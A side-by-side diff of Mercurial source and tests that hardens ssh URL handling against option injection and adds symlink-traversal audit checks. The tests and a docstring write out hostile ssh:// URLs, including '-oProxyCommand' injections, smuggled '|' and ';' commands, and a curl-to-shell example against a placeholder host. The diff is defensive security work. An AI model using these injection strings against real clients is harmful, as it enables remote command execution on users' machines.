| normalizefile(nf, True, True) in results): | normalizefile(nf, True, True) in results): | ||||
| self.svfs = None | self.svfs = None | ||||
| self.root = self.wvfs.base | self.root = self.wvfs.base | ||||
| self.path = self.wvfs.join(".hg") | self.path = self.wvfs.join(".hg") | ||||
| self.origroot = path | self.origroot = path | ||||
| # These auditor are not used by the vfs, | # These auditor are not used by the vfs, | ||||
| # only used when writing this comment: basectx.match | # only used when writing this comment: basectx.match | ||||
| self.auditor = pathutil.pathauditor(self.root, self._checknested) | self.auditor = pathutil.pathauditor(self.root, self._checknested) | ||||
| self.nofsauditor = pathutil.pathauditor(self.root, self._checknested, | self.nofsauditor = pathutil.pathauditor(self.root, self._checknested, | ||||
| realfs=False) | realfs=False, cached=True) | ||||
| self.baseui = baseui | self.baseui = baseui | ||||
| self.ui = baseui.copy() | self.ui = baseui.copy() | ||||
| self.ui.copy = baseui.copy # prevent copying repo configuration | self.ui.copy = baseui.copy # prevent copying repo configuration | ||||
| self.vfs = vfsmod.vfs(self.path) | self.vfs = vfsmod.vfs(self.path, cacheaudited=True) | ||||
| if (self.ui.configbool('devel', 'all-warnings') or | if (self.ui.configbool('devel', 'all-warnings') or | ||||
| self.ui.configbool('devel', 'check-locks')): | self.ui.configbool('devel', 'check-locks')): | ||||
| self.vfs.audit = self._getvfsward(self.vfs.audit) | self.vfs.audit = self._getvfsward(self.vfs.audit) | ||||
| # A list of callback to shape the phase if no data were found. | # A list of callback to shape the phase if no data were found. | ||||
| # Callback are in the form: func(repo, roots) --> processed root. | # Callback are in the form: func(repo, roots) --> processed root. | ||||
| # This list it to be filled by extension during repo setup | # This list it to be filled by extension during repo setup | ||||
| self._phasedefaults = [] | self._phasedefaults = [] | ||||
| try: | try: | ||||
| raise | raise | ||||
| if 'exp-sparse' in self.requirements and not sparse.enabled: | if 'exp-sparse' in self.requirements and not sparse.enabled: | ||||
| raise error.RepoError(_('repository is using sparse feature but ' | raise error.RepoError(_('repository is using sparse feature but ' | ||||
| 'sparse is not enabled; enable the ' | 'sparse is not enabled; enable the ' | ||||
| '"sparse" extensions to access')) | '"sparse" extensions to access')) | ||||
| self.store = store.store( | self.store = store.store( | ||||
| self.requirements, self.sharedpath, vfsmod.vfs) | self.requirements, self.sharedpath, | ||||
| lambda base: vfsmod.vfs(base, cacheaudited=True)) | |||||
| self.spath = self.store.path | self.spath = self.store.path | ||||
| self.svfs = self.store.vfs | self.svfs = self.store.vfs | ||||
| self.sjoin = self.store.join | self.sjoin = self.store.join | ||||
| self.vfs.createmode = self.store.createmode | self.vfs.createmode = self.store.createmode | ||||
| self.cachevfs = vfsmod.vfs(cachepath) | self.cachevfs = vfsmod.vfs(cachepath, cacheaudited=True) | ||||
| self.cachevfs.createmode = self.store.createmode | self.cachevfs.createmode = self.store.createmode | ||||
| if (self.ui.configbool('devel', 'all-warnings') or | if (self.ui.configbool('devel', 'all-warnings') or | ||||
| self.ui.configbool('devel', 'check-locks')): | self.ui.configbool('devel', 'check-locks')): | ||||
| if util.safehasattr(self.svfs, 'vfs'): # this is filtervfs | if util.safehasattr(self.svfs, 'vfs'): # this is filtervfs | ||||
| self.svfs.vfs.audit = self._getsvfsward(self.svfs.vfs.audit) | self.svfs.vfs.audit = self._getsvfsward(self.svfs.vfs.audit) | ||||
| else: # standard vfs | else: # standard vfs | ||||
| self.svfs.audit = self._getsvfsward(self.svfs.audit) | self.svfs.audit = self._getsvfsward(self.svfs.audit) | ||||
| self._applyopenerreqs() | self._applyopenerreqs() | ||||
| More check are also done about the file system states: | More check are also done about the file system states: | ||||
| - traverses a symlink (e.g. a/symlink_here/b) | - traverses a symlink (e.g. a/symlink_here/b) | ||||
| - inside a nested repository (a callback can be used to approve | - inside a nested repository (a callback can be used to approve | ||||
| some nested repositories, e.g., subrepositories) | some nested repositories, e.g., subrepositories) | ||||
| The file system checks are only done when 'realfs' is set to True (the | The file system checks are only done when 'realfs' is set to True (the | ||||
| default). They should be disable then we are auditing path for operation on | default). They should be disable then we are auditing path for operation on | ||||
| stored history. | stored history. | ||||
| If 'cached' is set to True, audited paths and sub-directories are cached. | |||||
| Be careful to not keep the cache of unmanaged directories for long because | |||||
| audited paths may be replaced with symlinks. | |||||
| ''' | ''' | ||||
| def __init__(self, root, callback=None, realfs=True): | def __init__(self, root, callback=None, realfs=True, cached=False): | ||||
| self.audited = set() | self.audited = set() | ||||
| self.auditeddir = set() | self.auditeddir = set() | ||||
| self.root = root | self.root = root | ||||
| self._realfs = realfs | self._realfs = realfs | ||||
| self._cached = cached | |||||
| self.callback = callback | self.callback = callback | ||||
| if os.path.lexists(root) and not util.fscasesensitive(root): | if os.path.lexists(root) and not util.fscasesensitive(root): | ||||
| self.normcase = util.normcase | self.normcase = util.normcase | ||||
| else: | else: | ||||
| self.normcase = lambda x: x | self.normcase = lambda x: x | ||||
| def __call__(self, path, mode=None): | def __call__(self, path, mode=None): | ||||
| '''Check the relative path. | '''Check the relative path. | ||||
| prefix = pycompat.ossep.join(parts[:i + 1]) | prefix = pycompat.ossep.join(parts[:i + 1]) | ||||
| normprefix = pycompat.ossep.join(normparts[:i + 1]) | normprefix = pycompat.ossep.join(normparts[:i + 1]) | ||||
| if normprefix in self.auditeddir: | if normprefix in self.auditeddir: | ||||
| continue | continue | ||||
| if self._realfs: | if self._realfs: | ||||
| self._checkfs(prefix, path) | self._checkfs(prefix, path) | ||||
| prefixes.append(normprefix) | prefixes.append(normprefix) | ||||
| if self._cached: | |||||
| self.audited.add(normpath) | self.audited.add(normpath) | ||||
| # only add prefixes to the cache after checking everything: we don't | # only add prefixes to the cache after checking everything: we don't | ||||
| # want to add "foo/bar/baz" before checking if there's a "foo/.hg" | # want to add "foo/bar/baz" before checking if there's a "foo/.hg" | ||||
| self.auditeddir.update(prefixes) | self.auditeddir.update(prefixes) | ||||
| def _checkfs(self, prefix, path): | def _checkfs(self, prefix, path): | ||||
| """raise exception if a file system backed check fails""" | """raise exception if a file system backed check fails""" | ||||
| curpath = os.path.join(self.root, prefix) | curpath = os.path.join(self.root, prefix) | ||||
| try: | try: | ||||
| st = os.lstat(curpath) | st = os.lstat(curpath) | ||||
| except OSError as err: | except OSError as err: | ||||
| # EINVAL can be raised as invalid path syntax under win32. | # EINVAL can be raised as invalid path syntax under win32. | ||||
| import stat | import stat | ||||
| import sys | import sys | ||||
| import tempfile | import tempfile | ||||
| import unicodedata | import unicodedata | ||||
| from .i18n import _ | from .i18n import _ | ||||
| from . import ( | from . import ( | ||||
| encoding, | encoding, | ||||
| error, | |||||
| pycompat, | pycompat, | ||||
| ) | ) | ||||
| posixfile = open | posixfile = open | ||||
| normpath = os.path.normpath | normpath = os.path.normpath | ||||
| samestat = os.path.samestat | samestat = os.path.samestat | ||||
| try: | try: | ||||
| oslink = os.link | oslink = os.link | ||||
| else: | else: | ||||
| if pf.startswith("'") and pf.endswith("'") and " " in pf: | if pf.startswith("'") and pf.endswith("'") and " " in pf: | ||||
| pf = pf[1:-1] # Remove the quotes | pf = pf[1:-1] # Remove the quotes | ||||
| return pf | return pf | ||||
| def sshargs(sshcmd, host, user, port): | def sshargs(sshcmd, host, user, port): | ||||
| '''Build argument list for ssh''' | '''Build argument list for ssh''' | ||||
| args = user and ("%s@%s" % (user, host)) or host | args = user and ("%s@%s" % (user, host)) or host | ||||
| return port and ("%s -p %s" % (args, port)) or args | if '-' in args[:1]: | ||||
| raise error.Abort( | |||||
| _('illegal ssh hostname or username starting with -: %s') % args) | |||||
| args = shellquote(args) | |||||
| if port: | |||||
| args = '-p %s %s' % (shellquote(port), args) | |||||
| return args | |||||
| def isexec(f): | def isexec(f): | ||||
| """check whether a file is executable""" | """check whether a file is executable""" | ||||
| return (os.lstat(f).st_mode & 0o100 != 0) | return (os.lstat(f).st_mode & 0o100 != 0) | ||||
| def setflags(f, l, x): | def setflags(f, l, x): | ||||
| st = os.lstat(f) | st = os.lstat(f) | ||||
| s = st.st_mode | s = st.st_mode | ||||
| def _interestingfiles(repo, matcher): | def _interestingfiles(repo, matcher): | ||||
| '''Walk dirstate with matcher, looking for files that addremove would care | '''Walk dirstate with matcher, looking for files that addremove would care | ||||
| about. | about. | ||||
| This is different from dirstate.status because it doesn't care about | This is different from dirstate.status because it doesn't care about | ||||
| whether files are modified or clean.''' | whether files are modified or clean.''' | ||||
| added, unknown, deleted, removed, forgotten = [], [], [], [], [] | added, unknown, deleted, removed, forgotten = [], [], [], [], [] | ||||
| audit_path = pathutil.pathauditor(repo.root) | audit_path = pathutil.pathauditor(repo.root, cached=True) | ||||
| ctx = repo[None] | ctx = repo[None] | ||||
| dirstate = repo.dirstate | dirstate = repo.dirstate | ||||
| walkresults = dirstate.walk(matcher, sorted(ctx.substate), True, False, | walkresults = dirstate.walk(matcher, sorted(ctx.substate), True, False, | ||||
| full=False) | full=False) | ||||
| for abs, st in walkresults.iteritems(): | for abs, st in walkresults.iteritems(): | ||||
| dstate = dirstate[abs] | dstate = dirstate[abs] | ||||
| if dstate == '?' and audit_path.check(abs): | if dstate == '?' and audit_path.check(abs): | ||||
| self._url = path | self._url = path | ||||
| self.ui = ui | self.ui = ui | ||||
| self.pipeo = self.pipei = self.pipee = None | self.pipeo = self.pipei = self.pipee = None | ||||
| u = util.url(path, parsequery=False, parsefragment=False) | u = util.url(path, parsequery=False, parsefragment=False) | ||||
| if u.scheme != 'ssh' or not u.host or u.path is None: | if u.scheme != 'ssh' or not u.host or u.path is None: | ||||
| self._abort(error.RepoError(_("couldn't parse location %s") % path)) | self._abort(error.RepoError(_("couldn't parse location %s") % path)) | ||||
| util.checksafessh(path) | |||||
| self.user = u.user | self.user = u.user | ||||
| if u.passwd is not None: | if u.passwd is not None: | ||||
| self._abort(error.RepoError(_("password in URL not supported"))) | self._abort(error.RepoError(_("password in URL not supported"))) | ||||
| self.host = u.host | self.host = u.host | ||||
| self.port = u.port | self.port = u.port | ||||
| self.path = u.path or "." | self.path = u.path or "." | ||||
| sshcmd = self.ui.config("ui", "ssh") | sshcmd = self.ui.config("ui", "ssh") | ||||
| remotecmd = self.ui.config("ui", "remotecmd") | remotecmd = self.ui.config("ui", "remotecmd") | ||||
| args = util.sshargs(sshcmd, | args = util.sshargs(sshcmd, self.host, self.user, self.port) | ||||
| _serverquote(self.host), | |||||
| _serverquote(self.user), | |||||
| _serverquote(self.port)) | |||||
| if create: | if create: | ||||
| cmd = '%s %s %s' % (sshcmd, args, | cmd = '%s %s %s' % (sshcmd, args, | ||||
| util.shellquote("%s init %s" % | util.shellquote("%s init %s" % | ||||
| (_serverquote(remotecmd), _serverquote(self.path)))) | (_serverquote(remotecmd), _serverquote(self.path)))) | ||||
| ui.debug('running %s\n' % cmd) | ui.debug('running %s\n' % cmd) | ||||
| res = ui.system(cmd, blockedtag='sshpeer') | res = ui.system(cmd, blockedtag='sshpeer') | ||||
| if res != 0: | if res != 0: | ||||
| if overwrite: | if overwrite: | ||||
| self._svncommand(['revert', '--recursive']) | self._svncommand(['revert', '--recursive']) | ||||
| args = ['checkout'] | args = ['checkout'] | ||||
| if self._svnversion >= (1, 5): | if self._svnversion >= (1, 5): | ||||
| args.append('--force') | args.append('--force') | ||||
| # The revision must be specified at the end of the URL to properly | # The revision must be specified at the end of the URL to properly | ||||
| # update to a directory which has since been deleted and recreated. | # update to a directory which has since been deleted and recreated. | ||||
| args.append('%s@%s' % (state[0], state[1])) | args.append('%s@%s' % (state[0], state[1])) | ||||
| # SEC: check that the ssh url is safe | |||||
| util.checksafessh(state[0]) | |||||
| status, err = self._svncommand(args, failok=True) | status, err = self._svncommand(args, failok=True) | ||||
| _sanitize(self.ui, self.wvfs, '.svn') | _sanitize(self.ui, self.wvfs, '.svn') | ||||
| if not re.search('Checked out revision [0-9]+.', status): | if not re.search('Checked out revision [0-9]+.', status): | ||||
| if ('is already a working copy for a different URL' in err | if ('is already a working copy for a different URL' in err | ||||
| and (self._wcchanged()[:2] == (False, False))): | and (self._wcchanged()[:2] == (False, False))): | ||||
| # obstructed but clean working copy, so just blow it away. | # obstructed but clean working copy, so just blow it away. | ||||
| self.remove() | self.remove() | ||||
| self.get(state, overwrite=False) | self.get(state, overwrite=False) | ||||
| colon = source.find(':') | colon = source.find(':') | ||||
| if colon != -1 and '/' not in source[:colon]: | if colon != -1 and '/' not in source[:colon]: | ||||
| return source | return source | ||||
| self._subsource = source | self._subsource = source | ||||
| return _abssource(self) | return _abssource(self) | ||||
| def _fetch(self, source, revision): | def _fetch(self, source, revision): | ||||
| if self._gitmissing(): | if self._gitmissing(): | ||||
| # SEC: check for safe ssh url | |||||
| util.checksafessh(source) | |||||
| source = self._abssource(source) | source = self._abssource(source) | ||||
| self.ui.status(_('cloning subrepo %s from %s\n') % | self.ui.status(_('cloning subrepo %s from %s\n') % | ||||
| (self._relpath, source)) | (self._relpath, source)) | ||||
| self._gitnodir(['clone', source, self._abspath]) | self._gitnodir(['clone', source, self._abspath]) | ||||
| if self._githavelocally(revision): | if self._githavelocally(revision): | ||||
| return | return | ||||
| self.ui.status(_('pulling subrepo %s from %s\n') % | self.ui.status(_('pulling subrepo %s from %s\n') % | ||||
| (self._relpath, self._gitremote('origin'))) | (self._relpath, self._gitremote('origin'))) | ||||
| return bool(url(path).scheme) | return bool(url(path).scheme) | ||||
| def hasdriveletter(path): | def hasdriveletter(path): | ||||
| return path and path[1:2] == ':' and path[0:1].isalpha() | return path and path[1:2] == ':' and path[0:1].isalpha() | ||||
| def urllocalpath(path): | def urllocalpath(path): | ||||
| return url(path, parsequery=False, parsefragment=False).localpath() | return url(path, parsequery=False, parsefragment=False).localpath() | ||||
| def checksafessh(path): | |||||
| """check if a path / url is a potentially unsafe ssh exploit (SEC) | |||||
| This is a sanity check for ssh urls. ssh will parse the first item as | |||||
| an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. | |||||
| Let's prevent these potentially exploited urls entirely and warn the | |||||
| user. | |||||
| Raises an error.Abort when the url is unsafe. | |||||
| """ | |||||
| path = urlreq.unquote(path) | |||||
| if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): | |||||
| raise error.Abort(_('potentially unsafe url: %r') % | |||||
| (path,)) | |||||
| def hidepassword(u): | def hidepassword(u): | ||||
| '''hide user credential in a url string''' | '''hide user credential in a url string''' | ||||
| u = url(u) | u = url(u) | ||||
| if u.passwd: | if u.passwd: | ||||
| u.passwd = '***' | u.passwd = '***' | ||||
| return bytes(u) | return bytes(u) | ||||
| def removeauth(u): | def removeauth(u): | ||||
| finally: | finally: | ||||
| vfs._backgroundfilecloser = None | vfs._backgroundfilecloser = None | ||||
| class vfs(abstractvfs): | class vfs(abstractvfs): | ||||
| '''Operate files relative to a base directory | '''Operate files relative to a base directory | ||||
| This class is used to hide the details of COW semantics and | This class is used to hide the details of COW semantics and | ||||
| remote file access from higher level code. | remote file access from higher level code. | ||||
| 'cacheaudited' should be enabled only if (a) vfs object is short-lived, or | |||||
| (b) the base directory is managed by hg and considered sort-of append-only. | |||||
| See pathutil.pathauditor() for details. | |||||
| ''' | ''' | ||||
| def __init__(self, base, audit=True, expandpath=False, realpath=False): | def __init__(self, base, audit=True, cacheaudited=False, expandpath=False, | ||||
| realpath=False): | |||||
| if expandpath: | if expandpath: | ||||
| base = util.expandpath(base) | base = util.expandpath(base) | ||||
| if realpath: | if realpath: | ||||
| base = os.path.realpath(base) | base = os.path.realpath(base) | ||||
| self.base = base | self.base = base | ||||
| self._audit = audit | self._audit = audit | ||||
| if audit: | if audit: | ||||
| self.audit = pathutil.pathauditor(self.base) | self.audit = pathutil.pathauditor(self.base, cached=cacheaudited) | ||||
| else: | else: | ||||
| self.audit = (lambda path, mode=None: True) | self.audit = (lambda path, mode=None: True) | ||||
| self.createmode = None | self.createmode = None | ||||
| self._trustnlink = None | self._trustnlink = None | ||||
| @util.propertycache | @util.propertycache | ||||
| def _cansymlink(self): | def _cansymlink(self): | ||||
| return util.checklink(self.base) | return util.checklink(self.base) | ||||
| import os | import os | ||||
| import re | import re | ||||
| import stat | import stat | ||||
| import sys | import sys | ||||
| from .i18n import _ | from .i18n import _ | ||||
| from . import ( | from . import ( | ||||
| encoding, | encoding, | ||||
| error, | |||||
| policy, | policy, | ||||
| pycompat, | pycompat, | ||||
| win32, | win32, | ||||
| ) | ) | ||||
| try: | try: | ||||
| import _winreg as winreg | import _winreg as winreg | ||||
| winreg.CloseKey | winreg.CloseKey | ||||
| if pf[0] == '`': | if pf[0] == '`': | ||||
| pf = pf[1:-1] # Remove the quotes | pf = pf[1:-1] # Remove the quotes | ||||
| return pf | return pf | ||||
| def sshargs(sshcmd, host, user, port): | def sshargs(sshcmd, host, user, port): | ||||
| '''Build argument list for ssh or Plink''' | '''Build argument list for ssh or Plink''' | ||||
| pflag = 'plink' in sshcmd.lower() and '-P' or '-p' | pflag = 'plink' in sshcmd.lower() and '-P' or '-p' | ||||
| args = user and ("%s@%s" % (user, host)) or host | args = user and ("%s@%s" % (user, host)) or host | ||||
| return port and ("%s %s %s" % (args, pflag, port)) or args | if args.startswith('-') or args.startswith('/'): | ||||
| raise error.Abort( | |||||
| _('illegal ssh hostname or username starting with - or /: %s') % | |||||
| args) | |||||
| args = shellquote(args) | |||||
| if port: | |||||
| args = '%s %s %s' % (pflag, shellquote(port), args) | |||||
| return args | |||||
| def setflags(f, l, x): | def setflags(f, l, x): | ||||
| pass | pass | ||||
| def copymode(src, dst, mode=None): | def copymode(src, dst, mode=None): | ||||
| pass | pass | ||||
| def checkexec(path): | def checkexec(path): | ||||
| $ hg manifest -r4 | $ hg manifest -r4 | ||||
| /tmp/test | /tmp/test | ||||
| $ hg update -Cr4 | $ hg update -Cr4 | ||||
| abort: path contains illegal component: /tmp/test (glob) | abort: path contains illegal component: /tmp/test (glob) | ||||
| [255] | [255] | ||||
| $ cd .. | $ cd .. | ||||
| Test symlink traversal on merge: | |||||
| -------------------------------- | |||||
| #if symlink | |||||
| set up symlink hell | |||||
| $ mkdir merge-symlink-out | |||||
| $ hg init merge-symlink | |||||
| $ cd merge-symlink | |||||
| $ touch base | |||||
| $ hg commit -qAm base | |||||
| $ ln -s ../merge-symlink-out a | |||||
| $ hg commit -qAm 'symlink a -> ../merge-symlink-out' | |||||
| $ hg up -q 0 | |||||
| $ mkdir a | |||||
| $ touch a/poisoned | |||||
| $ hg commit -qAm 'file a/poisoned' | |||||
| $ hg log -G -T '{rev}: {desc}\n' | |||||
| @ 2: file a/poisoned | |||||
| | | |||||
| | o 1: symlink a -> ../merge-symlink-out | |||||
| |/ | |||||
| o 0: base | |||||
| try trivial merge | |||||
| $ hg up -qC 1 | |||||
| $ hg merge 2 | |||||
| abort: path 'a/poisoned' traverses symbolic link 'a' | |||||
| [255] | |||||
| try rebase onto other revision: cache of audited paths should be discarded, | |||||
| and the rebase should fail (issue5628) | |||||
| $ hg up -qC 2 | |||||
| $ hg rebase -s 2 -d 1 --config extensions.rebase= | |||||
| rebasing 2:e73c21d6b244 "file a/poisoned" (tip) | |||||
| abort: path 'a/poisoned' traverses symbolic link 'a' | |||||
| [255] | |||||
| $ ls ../merge-symlink-out | |||||
| $ cd .. | |||||
| Test symlink traversal on update: | |||||
| --------------------------------- | |||||
| $ mkdir update-symlink-out | |||||
| $ hg init update-symlink | |||||
| $ cd update-symlink | |||||
| $ ln -s ../update-symlink-out a | |||||
| $ hg commit -qAm 'symlink a -> ../update-symlink-out' | |||||
| $ hg rm a | |||||
| $ mkdir a && touch a/b | |||||
| $ hg ci -qAm 'file a/b' a/b | |||||
| $ hg up -qC 0 | |||||
| $ hg rm a | |||||
| $ mkdir a && touch a/c | |||||
| $ hg ci -qAm 'rm a, file a/c' | |||||
| $ hg log -G -T '{rev}: {desc}\n' | |||||
| @ 2: rm a, file a/c | |||||
| | | |||||
| | o 1: file a/b | |||||
| |/ | |||||
| o 0: symlink a -> ../update-symlink-out | |||||
| try linear update where symlink already exists: | |||||
| $ hg up -qC 0 | |||||
| $ hg up 1 | |||||
| abort: path 'a/b' traverses symbolic link 'a' | |||||
| [255] | |||||
| try linear update including symlinked directory and its content: paths are | |||||
| audited first by calculateupdates(), where no symlink is created so both | |||||
| 'a' and 'a/b' are taken as good paths. still applyupdates() should fail. | |||||
| $ hg up -qC null | |||||
| $ hg up 1 | |||||
| abort: path 'a/b' traverses symbolic link 'a' | |||||
| [255] | |||||
| $ ls ../update-symlink-out | |||||
| try branch update replacing directory with symlink, and its content: the | |||||
| path 'a' is audited as a directory first, which should be audited again as | |||||
| a symlink. | |||||
| $ rm -f a | |||||
| $ hg up -qC 2 | |||||
| $ hg up 1 | |||||
| abort: path 'a/b' traverses symbolic link 'a' | |||||
| [255] | |||||
| $ ls ../update-symlink-out | |||||
| $ cd .. | |||||
| #endif | |||||
| $ (grep 'existing pooled' race1.log > /dev/null && cat race1.log || cat race2.log) | grep -v lock | $ (grep 'existing pooled' race1.log > /dev/null && cat race1.log || cat race2.log) | grep -v lock | ||||
| (sharing from existing pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1) | (sharing from existing pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1) | ||||
| searching for changes | searching for changes | ||||
| no changes found | no changes found | ||||
| adding remote bookmark bookA | adding remote bookmark bookA | ||||
| updating working directory | updating working directory | ||||
| 1 files updated, 0 files merged, 0 files removed, 0 files unresolved | 1 files updated, 0 files merged, 0 files removed, 0 files unresolved | ||||
| SEC: check for unsafe ssh url | |||||
| $ cat >> $HGRCPATH << EOF | |||||
| > [ui] | |||||
| > ssh = sh -c "read l; read l; read l" | |||||
| > EOF | |||||
| $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||||
| abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||||
| [255] | |||||
| $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path' | |||||
| abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||||
| [255] | |||||
| $ hg clone 'ssh://fakehost|touch%20owned/path' | |||||
| abort: no suitable response from remote hg! | |||||
| [255] | |||||
| $ hg clone 'ssh://fakehost%7Ctouch%20owned/path' | |||||
| abort: no suitable response from remote hg! | |||||
| [255] | |||||
| $ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path' | |||||
| abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path' | |||||
| [255] | |||||
| #if windows | |||||
| $ hg clone "ssh://%26touch%20owned%20/" --debug | |||||
| running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio" | |||||
| sending hello command | |||||
| sending between command | |||||
| abort: no suitable response from remote hg! | |||||
| [255] | |||||
| $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug | |||||
| running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio" | |||||
| sending hello command | |||||
| sending between command | |||||
| abort: no suitable response from remote hg! | |||||
| [255] | |||||
| #else | |||||
| $ hg clone "ssh://%3btouch%20owned%20/" --debug | |||||
| running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio' | |||||
| sending hello command | |||||
| sending between command | |||||
| abort: no suitable response from remote hg! | |||||
| [255] | |||||
| $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug | |||||
| running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R . serve --stdio' | |||||
| sending hello command | |||||
| sending between command | |||||
| abort: no suitable response from remote hg! | |||||
| [255] | |||||
| #endif | |||||
| $ hg clone "ssh://v-alid.example.com/" --debug | |||||
| running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. serve --stdio['"] (re) | |||||
| sending hello command | |||||
| sending between command | |||||
| abort: no suitable response from remote hg! | |||||
| [255] | |||||
| We should not have created a file named owned - if it exists, the | |||||
| attack succeeded. | |||||
| $ if test -f owned; then echo 'you got owned'; fi | |||||
| *** runcommand commit --config failafterfinalize.fail=true -mfoo foo | *** runcommand commit --config failafterfinalize.fail=true -mfoo foo | ||||
| transaction abort! | transaction abort! | ||||
| rollback completed | rollback completed | ||||
| abort: fail after finalization | abort: fail after finalization | ||||
| [255] | [255] | ||||
| *** runcommand log | *** runcommand log | ||||
| 0 bar (bar) | 0 bar (bar) | ||||
| *** runcommand verify -q | *** runcommand verify -q | ||||
| $ cd .. | |||||
| Test symlink traversal over cached audited paths: | |||||
| ------------------------------------------------- | |||||
| #if symlink | |||||
| set up symlink hell | |||||
| $ mkdir merge-symlink-out | |||||
| $ hg init merge-symlink | |||||
| $ cd merge-symlink | |||||
| $ touch base | |||||
| $ hg commit -qAm base | |||||
| $ ln -s ../merge-symlink-out a | |||||
| $ hg commit -qAm 'symlink a -> ../merge-symlink-out' | |||||
| $ hg up -q 0 | |||||
| $ mkdir a | |||||
| $ touch a/poisoned | |||||
| $ hg commit -qAm 'file a/poisoned' | |||||
| $ hg log -G -T '{rev}: {desc}\n' | |||||
| @ 2: file a/poisoned | |||||
| | | |||||
| | o 1: symlink a -> ../merge-symlink-out | |||||
| |/ | |||||
| o 0: base | |||||
| try trivial merge after update: cache of audited paths should be discarded, | |||||
| and the merge should fail (issue5628) | |||||
| $ hg up -q null | |||||
| >>> from hgclient import readchannel, runcommand, check | |||||
| >>> @check | |||||
| ... def merge(server): | |||||
| ... readchannel(server) | |||||
| ... # audit a/poisoned as a good path | |||||
| ... runcommand(server, ['up', '-qC', '2']) | |||||
| ... runcommand(server, ['up', '-qC', '1']) | |||||
| ... # here a is a symlink, so a/poisoned is bad | |||||
| ... runcommand(server, ['merge', '2']) | |||||
| *** runcommand up -qC 2 | |||||
| *** runcommand up -qC 1 | |||||
| *** runcommand merge 2 | |||||
| abort: path 'a/poisoned' traverses symbolic link 'a' | |||||
| [255] | |||||
| $ ls ../merge-symlink-out | |||||
| cache of repo.auditor should be discarded, so matcher would never traverse | |||||
| symlinks: | |||||
| $ hg up -qC 0 | |||||
| $ touch ../merge-symlink-out/poisoned | |||||
| >>> from hgclient import readchannel, runcommand, check | |||||
| >>> @check | |||||
| ... def files(server): | |||||
| ... readchannel(server) | |||||
| ... runcommand(server, ['up', '-qC', '2']) | |||||
| ... # audit a/poisoned as a good path | |||||
| ... runcommand(server, ['files', 'a/poisoned']) | |||||
| ... runcommand(server, ['up', '-qC', '0']) | |||||
| ... runcommand(server, ['up', '-qC', '1']) | |||||
| ... # here 'a' is a symlink, so a/poisoned should be warned | |||||
| ... runcommand(server, ['files', 'a/poisoned']) | |||||
| *** runcommand up -qC 2 | |||||
| *** runcommand files a/poisoned | |||||
| a/poisoned | |||||
| *** runcommand up -qC 0 | |||||
| *** runcommand up -qC 1 | |||||
| *** runcommand files a/poisoned | |||||
| abort: path 'a/poisoned' traverses symbolic link 'a' | |||||
| [255] | |||||
| $ cd .. | |||||
| #endif | |||||
| $ URL=`$PYTHON -c "import os; print 'file://foobar' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"` | $ URL=`$PYTHON -c "import os; print 'file://foobar' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"` | ||||
| $ hg pull -q "$URL" | $ hg pull -q "$URL" | ||||
| abort: file:// URLs can only refer to localhost | abort: file:// URLs can only refer to localhost | ||||
| [255] | [255] | ||||
| $ URL=`$PYTHON -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"` | $ URL=`$PYTHON -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"` | ||||
| $ hg pull -q "$URL" | $ hg pull -q "$URL" | ||||
| SEC: check for unsafe ssh url | |||||
| $ cat >> $HGRCPATH << EOF | |||||
| > [ui] | |||||
| > ssh = sh -c "read l; read l; read l" | |||||
| > EOF | |||||
| $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||||
| pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path | |||||
| abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||||
| [255] | |||||
| $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path' | |||||
| pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path | |||||
| abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||||
| [255] | |||||
| $ hg pull 'ssh://fakehost|touch${IFS}owned/path' | |||||
| pulling from ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path | |||||
| abort: no suitable response from remote hg! | |||||
| [255] | |||||
| $ hg pull 'ssh://fakehost%7Ctouch%20owned/path' | |||||
| pulling from ssh://fakehost%7Ctouch%20owned/path | |||||
| abort: no suitable response from remote hg! | |||||
| [255] | |||||
| $ [ ! -f owned ] || echo 'you got owned' | |||||
| $ cd .. | $ cd .. | ||||
| added 1 changesets with 1 changes to 1 files | added 1 changesets with 1 changes to 1 files | ||||
| $ hg -R test-revflag push -r 0 test-bare-push-unrelated-concurrency --config server.concurrent-push-mode=check-related | $ hg -R test-revflag push -r 0 test-bare-push-unrelated-concurrency --config server.concurrent-push-mode=check-related | ||||
| pushing to test-bare-push-unrelated-concurrency | pushing to test-bare-push-unrelated-concurrency | ||||
| searching for changes | searching for changes | ||||
| adding changesets | adding changesets | ||||
| adding manifests | adding manifests | ||||
| adding file changes | adding file changes | ||||
| added 1 changesets with 1 changes to 1 files | added 1 changesets with 1 changes to 1 files | ||||
| SEC: check for unsafe ssh url | |||||
| $ cat >> $HGRCPATH << EOF | |||||
| > [ui] | |||||
| > ssh = sh -c "read l; read l; read l" | |||||
| > EOF | |||||
| $ hg -R test-revflag push 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||||
